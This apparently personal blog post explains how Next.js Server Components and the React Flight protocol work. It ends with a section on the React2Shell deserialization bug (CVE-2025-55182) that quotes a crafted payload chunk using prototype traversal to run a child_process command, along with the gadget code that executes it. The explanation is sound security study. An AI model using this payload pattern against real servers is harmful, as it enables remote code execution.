I’m currently building an app using Next.js ( dmarcdefender.io). I’m not sure how I feel about it (it being Next.JS, dmarcdefender is amazing). It’s both amazing and terrifying, seamlessly jumping between client-side and server-side code. I don’t really like magic, but it is nice having one single environment, one set of types, complete DRY across the client and server, and SSR/SSG for free.
Part of the magic is the Flight protocol. If you’ve ever inspected the network tab of a Next.js app, you’ve probably seen some gobbledygook:

That doesn’t look like a REST API! The React Server Components / Server Functions stack was also recently vulnerable to a nasty exploit called React2Shell.
So it seems like something I should be familiar with!
Background
Server Components vs Client Components
(My background is Next.js, so I’m just going to speak from the Next.js side of things.)
We have Client Components (traditional React running in the browser) and Server Components. Client Components can use the browser-side APIs that give web pages their interactivity, things like useEffect, useState, event handlers, and window. Server Components let you write React-esque code that runs ahead of time on the server (or even at build time). The trade-off is that you don’t get interactive client APIs like useEffect and useState, but you can do backend work directly, like querying a database, reading the filesystem, or doing authN/authZ checks. Then, when you need interactivity, you can embed a Client Component inside a Server Component.
Next.js is pretty magical in the handoff between Server Components and Client Components. On the initial page load, React renders the Server Component tree into an RSC payload, and Next.js uses that payload plus the Client Component bundles to pre-render HTML. The browser can display that HTML immediately, and then the Client Components hydrate on the client to become interactive. On later navigations, Next.js can often fetch just the RSC payload instead of a full HTML document.
It goes further with caching and Suspense. With caching, if you have content that doesn’t change much but is dynamically generated (say blog posts from a CMS or database), it can be prerendered or cached so it behaves a lot like a static page. With Suspense, lower-priority parts of the UI can be deferred and streamed in later when they finish.
Flight Protocol
The Flight protocol is the serialization format React uses for the React Server Component payload, and related machinery is also used when calling Server Functions. It is more specialized than plain JSON because it needs to represent React trees, references to Client Components and Server Functions, promises, and some non-JSON values.
A great resource for understanding the protocol was this blog post: https://overreacted.io/introducing-rsc-explorer/.
But the individual messages of the Flight protocol look like:
0:["$","p",null,{"children":"I am some text!"}]
So it’s a stream of chunks describing React elements, props, placeholders, and references. One important nuance is that Client Component code is not embedded directly in the payload; the payload contains references to the client-side JavaScript bundles needed to hydrate those components.
To implement streaming, React can send placeholders and references first, then resolve them as more chunks arrive over the stream. In practice, Suspense boundaries are what make this progressive reveal possible.
CVE-2025-55182
React2Shell was a deserialization bug in the code handling requests to Server Function endpoints. A good background can be found
here. Very roughly, by abusing prototype traversal during reference resolution, an attacker could get access to the Function constructor and then find a gadget that invoked it with attacker-controlled input.
Here’s a simplified crafted chunk from the write-up:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
This is the internal gadget where the call actually occurs:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
So response._formData.get is made to resolve to the Function constructor, and response._prefix becomes the attacker-controlled source code passed into it.
Conclusion
A fun little dive into some internals of RSC!
Also a very neat bug. I’m not too sure I would have found that during a CTF at my current skill level (at least not without AI). I should probably get back into CTFs at some point.